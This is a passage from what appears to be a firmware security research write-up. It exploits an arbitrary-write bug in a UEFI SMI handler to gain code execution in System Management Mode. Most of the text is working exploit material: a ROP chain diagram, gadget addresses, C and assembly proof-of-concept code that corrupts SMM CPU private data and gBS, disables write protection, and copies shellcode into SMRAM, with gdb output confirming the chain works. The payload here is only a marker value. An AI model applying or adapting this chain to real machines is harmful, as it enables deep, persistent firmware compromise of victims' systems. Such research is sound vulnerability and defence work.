lea rsp, [rbp - 0x10] ; pop rbx ; pop r12 ; pop rbp ; ret. RBP is one of our controlled registers, we just need to point the RIP field of the fake InternalLongJump context to this gadget, with the RBP field pointing to the address of our new stack containing the ROP chain + 0x10 bytes.
SMI
+----------------+
| _SmiEntryPoint |
+----------------+
| SmiRendezvous |
+----------------+
| BSPHandler |
+--------+-------+
|
v
Overwritten function pointer
+------------------------------+
| gSmmCpuPrivate->SmmCoreEntry |
+--------------+---------------+
|
|
| RCX = &gSmmCpuPrivate->SmmCoreEntryContext
|
v
InternalLongJump
+----------------------------------------------------------------------+
| ; NumberOfCpus field overwritten to point to new SP + 0x10. |
| mov rbp, [rcx+SmmCoreEntryContext.NumberOfCpus] |
| ; TokenList.BackLink field overwritten to avoid fault. |
| ldmxcsr dword ptr [rcx+TokenList.BackLink] |
| ; TokenList.ForwardLink field overwritten to RBP stack pivot gadget. |
| jmp [rcx+SMM_CPU_PRIVATE_DATA_CORE_ENTRY.TokenList.ForwardLink] |
+----------------------------------+-----------------------------------+
|
v
RBP to RSP gadget
+-----------------------+
| lea rsp, [rbp - 0x10] |
| pop rbx |
| pop r12 |
| pop rbp |
| ret |
+----------+------------+
|
|
|
+----------+ Exploit stack
| +------------------------------------------------------------------+
| | ; Dummy values popped by the RBP to RSP pivot gadget. |
| | dq 0 ; RBX |
| | dq 0 ; R12 |
| | dq 0 ; RBP |
| | ; Load the new CR0 value into RAX. |
| | dq NewCr0Value ; RAX |
Core ROP gadgets v | dq 0 ; RDI |
+----------------------------+<-----+--> | G_POP_RAX_RDI |
| G_POP_RAX_RD: | | | ; Load the new CR0 value from RAX with disabled WP. |
| pop rax | +---+--> | G_MOV_CR0_RAX |
| pop rdi | | | | ; For each 8-byte chunk of shellcode to copy to destination: |
| ret | | | | ; - Emit 3 QWORD values [ChunkValue, DestAddress, Dummy] |
+----------------------------+<-+ | | ; - Emit G_POP_RDX_RCX_RBX |
| G_MOV_CR0_RAX: | | | ; - Emit G_WRITE_MEM_RCX_RDX |
| mov cr0, rax | | | dq ShellcodeChunk0 ; RDX |
| ret | | | dq (FinalAddress+0) ; RCX |
+----------------------------+<-+ | | dq 0 ; RBX |
| G_POP_RDX_RCX_RBX: | +---+--> | G_POP_RDX_RCX_RBX |
| pop rdx | | | ; Perform write to [RCX] with RDX. |
| pop rcx | +---+--> | G_WRITE_MEM_RCX_RDX |
| pop rbx | | | | ; ... |
| ret | | | | dq ShellcodeChunk[1..N] ; RDX |
+----------------------------+<-+ | | dq (FinalAddress+(8*[1..N])) ; RCX |
| G_WRITE_MEM_RCX_RDX: | | | dq 0 ; RBX |
| mov qword ptr [rcx], rdx | +--> | G_POP_RDX_RCX_RBX |
| xor eax, eax | | | ; Perform write to [RCX] with RDX. |
| ret | +--> | G_WRITE_MEM_RCX_RDX |
+----------------------------+ | | ; ... |
| | ; The final address of the shellcode to direct execution to. |
+--> | dq FinalAddress |
+------------------------------------------------------------------+Finding the final address for the shellcode
We have constructed our full chain; we just need a target address where the final shellcode will be copied. Since write-protection has been disabled, but NX/DEP has not, we need to copy our shellcode to existing executable SMRAM memory.
Scrolling through the .text section of PiSmmCpuDxeSmm, we find a suitable place to write our shellcode to very quickly:
.text:00000000000169E0 52 65 73 65 72 76 65 64 00 aReserved db 'Reserved',0 ; DATA XREF: sub_ED26+1Aโo
.text:00000000000169E9 23 44 45 20 2D 20 44 69 76 aDeDivideError db '#DE - Divide Error',0
.text:00000000000169E9 69 64 65 20 45 72 72 6F 72โฆ ; DATA XREF: .data:off_173A0โo
.text:00000000000169FC 23 44 42 20 2D 20 44 65 62โฆaDbDebug db '#DB - Debug',0 ; DATA XREF: .data:00000000000173A8โo
.text:0000000000016A08 4E 4D 49 20 49 6E 74 65 72โฆaNmiInterrupt db 'NMI Interrupt',0 ; DATA XREF: .data:00000000000173B0โo
.text:0000000000016A16 23 42 50 20 2D 20 42 72 65โฆaBpBreakpoint db '#BP - Breakpoint',0 ; DATA XREF: .data:00000000000173B8โo
.text:0000000000016A27 23 4F 46 20 2D 20 4F 76 65โฆaOfOverflow db '#OF - Overflow',0 ; DATA XREF: .data:00000000000173C0โo
.text:0000000000016A36 23 42 52 20 2D 20 42 4F 55 aBrBoundRangeEx db '#BR - BOUND Range Exceeded',0
.text:0000000000016A36 4E 44 20 52 61 6E 67 65 20โฆ ; DATA XREF: .data:00000000000173C8โo
.text:0000000000016A51 23 55 44 20 2D 20 49 6E 76 aUdInvalidOpcod db '#UD - Invalid Opcode',0
.text:0000000000016A51 61 6C 69 64 20 4F 70 63 6Fโฆ ; DATA XREF: .data:00000000000173D0โo
.text:0000000000016A66 23 4E 4D 20 2D 20 44 65 76 aNmDeviceNotAva db '#NM - Device Not Available',0
.text:0000000000016A66 69 63 65 20 4E 6F 74 20 41โฆ ; DATA XREF: .data:00000000000173D8โo
.text:0000000000016A81 23 44 46 20 2D 20 44 6F 75 aDfDoubleFault db '#DF - Double Fault',0
.text:0000000000016A81 62 6C 65 20 46 61 75 6C 74โฆ ; DATA XREF: .data:00000000000173E0โo
.text:0000000000016A94 43 6F 70 72 6F 63 65 73 73 aCoprocessorSeg db 'Coprocessor Segment Overrun',0
.text:0000000000016A94 6F 72 20 53 65 67 6D 65 6Eโฆ ; DATA XREF: .data:00000000000173E8โo
.text:0000000000016AB0 23 54 53 20 2D 20 49 6E 76 aTsInvalidTss db '#TS - Invalid TSS',0
.text:0000000000016AB0 61 6C 69 64 20 54 53 53 00 ; DATA XREF: .data:00000000000173F0โo
.text:0000000000016AC2 23 4E 50 20 2D 20 53 65 67 aNpSegmentNotPr db '#NP - Segment Not Present',0
.text:0000000000016AC2 6D 65 6E 74 20 4E 6F 74 20โฆ ; DATA XREF: .data:00000000000173F8โo
.text:0000000000016ADC 23 53 53 20 2D 20 53 74 61 aSsStackFaultFa db '#SS - Stack Fault Fault',0
.text:0000000000016ADC 63 6B 20 46 61 75 6C 74 20โฆ ; DATA XREF: .data:0000000000017400โo
.text:0000000000016AF4 23 47 50 20 2D 20 47 65 6E aGpGeneralProte db '#GP - General Protection',0
; ...These are the “mExceptionNameStr” array contents from CpuExceptionCommon.c. We will write our final shellcode here, I don’t think anyone will miss these strings too much. This region of strings leaves us with ~500 bytes of free space for our shellcode.
Setting up the final PoC
First we will make a helper function to build the core ROP chain for a variable size of shellcode. For each 8-byte chunk of shellcode, we will emit another memory write gadget pair to the exploit stack.
static
VOID
PocBuildCoreRopChain(
OUT UINT64 *Stack,
IN POC_GADGETS *Gadgets,
IN UINT64 Stage2Address,
IN const UINT8 *Stage2Shellcode,
IN UINTN Stage2ShellcodeSize
)
{
UINT64 StackIndex;
UINTN i;
UINT64 CopyWord;
UINT64 CopyByteCount;
UINTN j;
//
// Build required cleanup for the RBP to RSP stack pivot gadget that will lead to this code.
//
StackIndex = 0;
Stack[StackIndex++] = ~0ull;
Stack[StackIndex++] = ~0ull;
Stack[StackIndex++] = ~0ull;
//
// Build memory write protection disable.
//
Stack[StackIndex++] = Gadgets->PopRaxRdi; // pop rax ; pop rdi ; ret
Stack[StackIndex++] = (0x80010033ull & ~(1ull << 16)); // RAX: New CR0 value.
Stack[StackIndex++] = ~0ull; // RDI: Placeholder.
Stack[StackIndex++] = Gadgets->MovCr0Rax; // mov cr0, rax ; ret
//
// Build shellcode memory copy.
//
for (i = 0; i < ((Stage2ShellcodeSize + 7) / 8); i++) {
CopyWord = 0;
CopyByteCount = MIN (8, (Stage2ShellcodeSize - (i*8)));
for (j = 0; j < CopyByteCount; j++) {
CopyWord |= ((UINT64)Stage2Shellcode[(i*8)+j] << (j*8));
}
Stack[StackIndex++] = Gadgets->PopRdxRcxRbx; // pop rdx ; pop rcx ; pop rbx ; ret
Stack[StackIndex++] = CopyWord; // RDX: 8 byte word of shellcode to copy to destination.
Stack[StackIndex++] = (Stage2Address + (i*8)); // RCX: Word copy destination address.
Stack[StackIndex++] = ~0ull; // RBX: Placeholder.
Stack[StackIndex++] = Gadgets->MovMemRcxRdx; // mov qword ptr [rcx], rdx ; xor eax, eax ; ret
}
//
// The final return address to return to after the last gadget.
//
Stack[StackIndex++] = Stage2Address;
}We will also need to obtain a free communication buffer to use to pass along our data to SMM, so as not to violate any CommBuffer validation or SMM restricted memory settings.
static
EFI_STATUS
PocFindCommunicationBuffer(
IN UINTN MinimalSize,
OUT VOID **ppBuffer
)
{
EFI_STATUS Status;
EDKII_PI_SMM_COMMUNICATION_REGION_TABLE *CommRegionTable;
EFI_MEMORY_DESCRIPTOR *Entry;
UINTN Size;
UINT32 Index;
//
// Locate the SMM communication region table.
//
Status = EfiGetSystemConfigurationTable (&gEdkiiPiSmmCommunicationRegionTableGuid, (VOID**)&CommRegionTable);
if (EFI_ERROR (Status)) {
return Status;
}
//
// Attempt to locate a communication region large enough for our command buffer.
//
Entry = (EFI_MEMORY_DESCRIPTOR *)(CommRegionTable + 1);
Size = 0;
for (Index = 0; Index < CommRegionTable->NumberOfEntries; Index++) {
if (Entry->Type == EfiConventionalMemory) {
Size = EFI_PAGES_TO_SIZE ((UINTN)Entry->NumberOfPages);
if (Size >= MinimalSize) {
break;
}
}
Entry = (EFI_MEMORY_DESCRIPTOR *)((UINT8 *)Entry + CommRegionTable->DescriptorSize);
}
//
// Ensure that a communication region large enough to service this allocation was found.
//
if (Index >= CommRegionTable->NumberOfEntries) {
return EFI_NOT_FOUND;
}
*ppBuffer = (VOID *)Entry->PhysicalStart;
return EFI_SUCCESS;
}Now, let’s set up some helper functions for the arbitrary write bug. Setting up the input is as simple as setting up the firmware variable with our arbitrary value to write, with the upper and lower portions of the target address in the EBX and ECX registers. We will also need to check how to trigger a SW SMI that can be handled by the SwDispatch2 interface of the platform.
On our target platform, this SW SMI dispatch is triggered through the APM_CNT I/O port register, access to which is trapped through the SMM I/O port trapping functionality of the PCH. The code for this can be found in the reference AlderLakeSiliconPkg of EDK2.
; Trigger the arbitrary write SMI handler targeting the address passed through RCX.
PocSmmExecuteSmiArbitraryWriteInternal64 PROC
; Set up the target address parameters to the SMI handler.
; gEfiSmmCpuProtocol->ReadSaveState (gEfiSmmCpuProtocol, 4, EFI_SMM_SAVE_STATE_REGISTER_RBX, CpuIndex, &UserBufferLo);
; gEfiSmmCpuProtocol->ReadSaveState (gEfiSmmCpuProtocol, 4, EFI_SMM_SAVE_STATE_REGISTER_RCX, CpuIndex, &UserBufferHi);
; UserBuffer = (VOID*)(UserBufferLo + (UINT64)(UserBufferHi << 32));
push rbx
mov ebx, ecx
shr rcx, 32
; Trigger the vulnerable SMI handler.
; if (CommBuffer->CommandPort == 0x88) {
; SMI__OemCommandArbitraryWriteFromFwVariable (UserBuffer);
; }
mov al, 88h
out 0B2h, al
pop rbx
ret
PocSmmExecuteSmiArbitraryWriteInternal64 ENDPNow we just need to set up the higher-level helper function that populates the used firmware variable with the arbitrary value to write before triggering the actual SMI with the target destination.
VOID
PocSmmArbitraryWrite64(
IN UINT64 TargetAddress,
IN UINT64 Value
)
{
UINT8 Data[0x1124];
UINTN i;
//
// Fill unused contents of the variable with a marker byte,
// and update the portion that controls the arbitrary write value.
// *(UINT64 *)(UserBuffer + 0x103) = *(UINT64 *)Data[0x1116];
//
for (i = 0; i < COUNT_OF (Data); i++) {
Data[i] = 0xAC;
}
*(UINT64 *)&Data[0x1116] = Value;
gRT->SetVariable (
L"Redacted",
&VendorGuid,
EFI_VARIABLE_NON_VOLATILE |
EFI_VARIABLE_BOOTSERVICE_ACCESS |
EFI_VARIABLE_RUNTIME_ACCESS,
sizeof (Data),
Data
);
//
// Trigger the actual buggy SMI with SW dispatch2 SMI index 0x88 with our target address in EBX|ECX.
//
PocSmmExecuteSmiArbitraryWriteInternal64 (TargetAddress - 0x103);
}Our final SMM shellcode will be a simple marker that we can easily observe in a debugger to verify that our chain has functioned properly.
+0h | B8 EF BE AD DE | mov eax, 0deadbeefh+5h | | hcf:+5h | F4 | hlt+6h | EB FD | jmp hcfConsulting our final exploit stack graph above, we can determine the constant size required to handle the shellcode. For each QWORD chunk that is copied by the ROP chain, 5 stack words must be emitted. An extra 32 words are appended to contain visible markers/scratch space for debugging.
const UINT8 gPocSmmShellCode[] = {
0xB8, 0xEF, 0xBE, 0xAD, 0xDE,
0xF4,
0xEB, 0xFD
};
#define POC_SMM_SHELLCODE_WORD_COUNT ((SIZE_OF (gPocSmmShellcode) + 7) / 8)
#define POC_SMM_STACK_WORD_COUNT ((7 + (5 * POC_SMM_SHELLCODE_WORD_COUNT) + 1) + 32)Okay, we now have all of the pieces and helpers in place, time to start implementing the actual core of the PoC. We will start with the basic setup of the InternalLongJump dispatch through the corrupted CPU private data. Instead of pivoting the stack and continuing with the ROP chain, we will first test by pointing the RIP value loaded by InternalLongJump to a dead-loop or HLT gadget, letting us validate the execution path and observe the processor state at this point of the chain.
EFI_STATUS
EFIAPI
PocEntry(
IN EFI_HANDLE ImageHandle,
IN EFI_SYSTEM_TABLE *SystemTable
)
{
EFI_STATUS Status;
UINT64 SmmCpuPrivateDataPa;
UINT64 PiSmmCpuDxeSmmImageBasePa;
POC_GADGETS Gadgets;
UINTN CommBufferSize;
VOID* CommBuffer;
UINT64 SmmCoreEntryPtrPa;
UINT64 FinalSmmShellcodePa;
//
// Leak CPU private data and PiSmmCpuDxeSmm module image base.
//
if (EFI_ERROR (Status = PocFindSmmCpuPrivateData (&SmmCpuPrivateDataPa, &PiSmmCpuDxeSmmImageBasePa))) {
return Status;
}
//
// Build target gadget absolute physical addresses relative to the PiSmmCpuDxeSmm image base.
//
Gadgets = PocBuildGadgetList (PiSmmCpuDxeSmmImageBasePa);
//
// Attempt to find a shared communication buffer large enough to fit our entire exploit stack/payload.
//
CommBufferSize = (sizeof (UINT64) * (POC_SMM_STACK_WORD_COUNT + 1));
Status = PocFindCommunicationBuffer (CommBufferSize, &CommBuffer);
if (EFI_ERROR(Status)) {
return Status;
}
//
// Allocate a slot for a dummy MXCSR value at the end of the exploit stack communication buffer.
//
*((UINT64 *)CommBuffer + POC_SMM_STACK_WORD_COUNT) = 0;
//
// Calculate the absolute PA of the target function pointer to overwrite,
// as well as the executable SMRAM address to copy our final shellcode to.
//
SmmCoreEntryPtrPa = (SmmCpuPrivateDataPa + OFFSET_OF (SMM_CPU_PRIVATE_DATA, SmmCoreEntry));
FinalSmmShellcodePa = (PiSmmCpuDxeSmmImageBasePa + POC_CODECAVE_OFFSET_EXCEPTION_STR_LIST);
//
// Build our exploit stack/ROP chain at the start of our shared communication buffer.
//
PocBuildCoreRopChain (
CommBuffer,
&Gadgets,
FinalSmmShellcodePa,
gPocSmmShellCode,
sizeof (gPocSmmShellCode)
);
//
// Use the arbitrary write primitive to corrupt the SMM_CPU_PRIVATE_DATA_CORE_ENTRY.TokenList.ForwardLink field,
// this field will be used as the new RIP to jump to when execution is passed to the InternalLongJump primitive.
// We need to point this field to our initial stack pivot gadget that will change RSP to our exploit stack from RBP.
// Note: For the initial test, we will point this value to a dead-loop gadget to ensure that all the initial setup is working.
//
PocSmmArbitraryWrite64 (
SmmCpuPrivateDataPa + (OFFSET_OF (SMM_CPU_PRIVATE_DATA, TokenList) + OFFSET_OF (LIST_ENTRY, ForwardLink)),
Gadgets.DeadLoop /* Gadgets.RbpToRspSub10h */
);
//
// Corrupt the SMM_CPU_PRIVATE_DATA_CORE_ENTRY.TokenList.BackLink to contain a valid MXCSR value,
// so that ldmxcsr does not fault upon execution of the InternalLongJump primitive.
//
PocSmmArbitraryWrite64 (
SmmCpuPrivateDataPa + (OFFSET_OF (SMM_CPU_PRIVATE_DATA, TokenList) + OFFSET_OF (LIST_ENTRY, BackLink)),
0
);
//
// Corrupt the SMM_CPU_PRIVATE_DATA_CORE_ENTRY.SmmCoreEntryContext.NumberOfCpus field to point
// to our new RSP value +0x10 to account for the arithmetic performed in the stack pivot gadget.
// Note: Set to a magic value to verify execution in the initial test.
//
PocSmmArbitraryWrite64 (
SmmCpuPrivateDataPa + (OFFSET_OF (SMM_CPU_PRIVATE_DATA, SmmCoreEntryContext) + OFFSET_OF (EFI_SMM_ENTRY_CONTEXT, NumberOfCpus)),
0xdeadbeef /* ((UINT64)CommBuffer + 0x10) */
);
//
// Corrupt the SmmCoreEntry field to point to our first InternalLongJump pivot primitive.
//
PocSmmArbitraryWrite64 (
SmmCoreEntryPtrPa,
(PiSmmCpuDxeSmmImageBasePa + POC_INTERNALLONGJUMP_OFFSET)
);
//
// Trigger a dummy SMI to force dispatch through our corrupted SmmCoreEntry field, triggering the exploit chain.
//
PocSmmArbitraryWrite64 (0, 0);
return EFI_SUCCESS;
}Now, let’s give it a try. Since we have pointed the InternalLongJump context’s RIP to a dead-loop gadget, we should be able to execute the PoC and dump the registers of the processor at this point in the chain. We should be able to see RIP sitting at our dead-loop gadget, along with our test magic value set in RBP (0xdeadbeef).
(gdb) x/1i $rip
=> 0x7ffb9f1b: jmp 0x7ffb9f1b
(gdb) info registers rbp
rbp 0xdeadbeef 0xdeadbeefPerfect! Everything is working so far, and we can clearly see that RIP and RBP are completely controlled. Now, if we continue the normal setup of the exploit chain by pointing RIP to the RBP to RSP pivot gadget, and setting the RBP-loaded value to our exploit stack pointer, we should see the shellcode get copied and executed. Let’s execute the full chain without the DeadLoop.
(gdb) info registers rip rax cr0
rip 0x7ffc5070 0x7ffc5070
rax 0xdeadbeef 3735928559
cr0 0x80000033 [ PG NE ET MP PE ]
(gdb) x/3i $rip-6
0x7ffc506a: mov $0xdeadbeef,%eax
0x7ffc506f: hlt
=> 0x7ffc5070: jmp 0x7ffc506fWe are now sitting in SMM executing our shellcode with CR0.WP disabled!
Refining the chain and avoiding SMM CPU private data corruption
Although the current chain works fine in our test lab environment, the corruption of the NumberOfCpus and TokenList fields could possibly lead to instability in other environments where these fields are used over the course of the multiple SMIs needed to set up the full chain, as we have no way to atomically update all of them in one call. We need another layer of indirection that will let us migrate our fake long jump context to a safer area of memory pointed to by RCX.
Doing another search for indirect calls in PiSmmCpuDxeSmm by searching for ff ?? and filtering the results to only contain call then sorting yields a list of potential candidates. After looking through a few of the indirect calls through values in registers, we find one that is completely suitable for our needs.
EFI_BOOT_SERVICES *PRIMITIVE__ControlledCallWithArgs_3()
{
EFI_BOOT_SERVICES *Value;
Value = gBS;
if ( gBS )
{
Value = gBS->LocateProtocol;
if ( Value )
{
Value = (Value)(&EFI_STATUS_CODE_RUNTIME_PROTOCOL_GUID, 0, &qword_1F250);
if ( Value < 0 )
qword_1F250 = 0;
}
}
return Value;
}This code is part of the DXE phase entry point of the module, as is the gBS global pointer. This global pointer will never be used outside of the entry point that has long since been executed. As for control over the first argument, the address of EFI_STATUS_CODE_RUNTIME_PROTOCOL_GUID is passed along through RCX. Taking a look at EFI_STATUS_CODE_RUNTIME_PROTOCOL_GUID, it is contained in the data section in an area that is also only ever used during initialization, all writable and unused beyond the entry point. This will work fine for our chain.
It should suffice to craft a dummy EFI_BOOT_SERVICES object inside of our shared communication buffer memory, point the LocateProtocol member to our InternalLongJump primitive, then overwrite the memory at &EFI_STATUS_CODE_RUNTIME_PROTOCOL_GUID with our fake long jump context that will lead to the stack pivot and the rest of the chain.
EFI_STATUS
EFIAPI
PocEntry(
IN EFI_HANDLE ImageHandle,
IN EFI_SYSTEM_TABLE *SystemTable
)
{
EFI_STATUS Status;
UINT64 SmmCpuPrivateDataPa;
UINT64 PiSmmCpuDxeSmmImageBasePa;
POC_GADGETS Gadgets;
UINTN CommBufferSize;
VOID* CommBuffer;
UINT64 SmmCoreEntryPtrPa;
UINT64 FinalSmmShellcodePa;
UINTN ExploitStackPa;
EFI_BOOT_SERVICES* ExploitBsObject;
UINT64 LongJumpContextPa;
//
// Leak CPU private data and PiSmmCpuDxeSmm module image base.
//
if (EFI_ERROR (Status = PocFindSmmCpuPrivateData (&SmmCpuPrivateDataPa, &PiSmmCpuDxeSmmImageBasePa))) {
return Status;
}
//
// Build target gadget absolute physical addresses relative to the PiSmmCpuDxeSmm image base.
//
Gadgets = PocBuildGadgetList (PiSmmCpuDxeSmmImageBasePa);
//
// Attempt to find a shared communication buffer large enough to fit our entire exploit stack/payload.
//
CommBufferSize = (sizeof (UINT64) * (POC_SMM_STACK_WORD_COUNT + 1));
CommBufferSize += sizeof (EFI_BOOT_SERVICES);
Status = PocFindCommunicationBuffer (CommBufferSize, &CommBuffer);
if (EFI_ERROR(Status)) {
return Status;
}
//
// Allocate a slot for the dummy EFI_BOOT_SERVICES object at the end of the exploit stack communication buffer.
//
ExploitBsObject = (VOID *)((UINT64 *)ExploitStackPa + POC_SMM_STACK_WORD_COUNT + 1);
//
// Calculate the absolute PA of the target function pointer to overwrite,
// as well as the executable SMRAM address to copy our final shellcode to.
//
SmmCoreEntryPtrPa = (SmmCpuPrivateDataPa + OFFSET_OF (SMM_CPU_PRIVATE_DATA, SmmCoreEntry));
FinalSmmShellcodePa = (PiSmmCpuDxeSmmImageBasePa + POC_CODECAVE_OFFSET_EXCEPTION_STR_LIST);
//
// Build our exploit stack/ROP chain at the start of our shared communication buffer.
//
PocBuildCoreRopChain (
CommBuffer,
&Gadgets,
FinalSmmShellcodePa,
gPocSmmShellCode,
sizeof (gPocSmmShellCode)
);
//
// Set up our fake BS object's LocateProtocol field to point to our InternalLongJump primitive.
//
ExploitBsObject->LocateProtocol = (EFI_LOCATE_PROTOCOL)(PiSmmCpuDxeSmmImageBasePa + POC_INTERNALLONGJUMP_OFFSET);
//
// Fixed address that will be passed into LocateProtocol through RCX to be used as a long jump context.
//
LongJumpContextPa = (PiSmmCpuDxeSmmImageBasePa + POC_GSTATUS_CODE_RTP_GUID_OFFSET);
//
// This field will be used as the new RIP to jump to when execution is passed to the InternalLongJump primitive.
// We need to point this field to our initial stack pivot gadget that will change RSP to our exploit stack from RBP.
//
PocSmmArbitraryWrite64 (
CommBuffer,
(LongJumpContextPa + 0x48),
Gadgets.RbpToRspSub10h
);
//
// The MXCSR value loaded by InternalLongJump should contain a valid MXCSR value,
// so that ldmxcsr does not fault upon execution of the InternalLongJump primitive.
//
PocSmmArbitraryWrite64 (
CommBuffer,
(SmmCpuPrivateDataPa + 0x50),
0
);
//
// Set up the RBP value to be loaded to our new RSP value +0x10 to account
// for the arithmetic performed in the stack pivot gadget.
//
PocSmmArbitraryWrite64 (
CommBuffer,
(LongJumpContextPa + 0x10),
(ExploitStackPa + 0x10)
);
//
// Overwrite the PiSmmCpuDxeSmm gBS pointer with the address of our fake BS object.
//
PocSmmArbitraryWrite64 (
CommBuffer,
(PiSmmCpuDxeSmmImageBasePa + POC_GBS_OFFSET),
(UINT64)ExploitBsObject
);
//
// Overwrite the SmmCoreEntry field to point to our first fake gBS LocateProtocol pivot primitive.
//
PocSmmArbitraryWrite64 (
CommBuffer,
SmmCoreEntryPtrPa,
(PiSmmCpuDxeSmmImageBasePa + POC_GBS_LOCATEPROTOCOL_FUNC_OFFSET)
);
//
// Trigger a dummy SMI to force dispatch through our corrupted SmmCoreEntry field, triggering the exploit chain.
//
PocSmmArbitraryWrite64 (0, 0);
return EFI_SUCCESS;
}Executing the PoC and checking the processor state yields the same result as before.
(gdb) info registers rax rip cr0
rax 0xdeadbeef 3735928559
rip 0x7ffc5070 0x7ffc5070
cr0 0x80000033 [ PG NE ET MP PE ]
(gdb) x/3i $rip-6
0x7ffc506a: mov $0xdeadbeef,%eax
0x7ffc506f: hlt
=> 0x7ffc5070: jmp 0x7ffc506fThe chain still works. There is now an additional layer of indirection between SmmCoreEntry and InternalLongJump, moving the fake long jump context to a safer area in memory that is no longer used after module initialization. This entirely removes the need for us to corrupt any live and important structures.